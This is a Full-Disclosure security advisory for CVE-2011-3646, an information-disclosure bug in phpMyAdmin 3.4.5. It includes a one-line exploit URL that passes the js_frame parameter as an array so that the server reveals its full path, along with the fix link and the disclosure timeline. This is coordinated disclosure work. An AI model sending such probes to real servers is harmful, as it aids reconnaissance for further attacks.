[Full-disclosure] phpMyAdmin 3.4.5 – Full path disclosure in phpmyadmin.css.php

[Ursu Mihail <mishka.ursu@xxxxxxxxx>]

phpMyAdmin 3.4.5 suffers of insufficient input validation of the parameter 
js_frame in phpmyadmin.css.php, exposing information that could be used in 
further attacks.

CVE Entry: CVE-2011-3646
CWE:  CWE-20, CWE-200
PMASA ENTRY: PMASA-2011-15

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Description

The script returns an error message, containing the full path if the js_frame 
parameter is defined as an array.


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Exploit

No authentication needed to exploit this vulnerability.
http://example.com/path_to_phpmyadmin/phpmyadmin.css.php?js_frame[]=right


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Official fix


http://phpmyadmin.git.sourceforge.net/git/gitweb.cgi?p=phpmyadmin/phpmyadmin;a=commitdiff;h=d35cba980893aa6e6455fd6e6f14f3e3f1204c52


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Credits


Discovered by Mihail Ursu ( http://securitate.md/ )  on 12 Sep 2011.


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Disclosure Timeline


Reported to vendor on 12 Sep 2011.
Confirmation from vendor 21 Sep 2011.
Patch confirmation 4 Oct 2011.
Official fix and public disclosure 17 Oct 2011.

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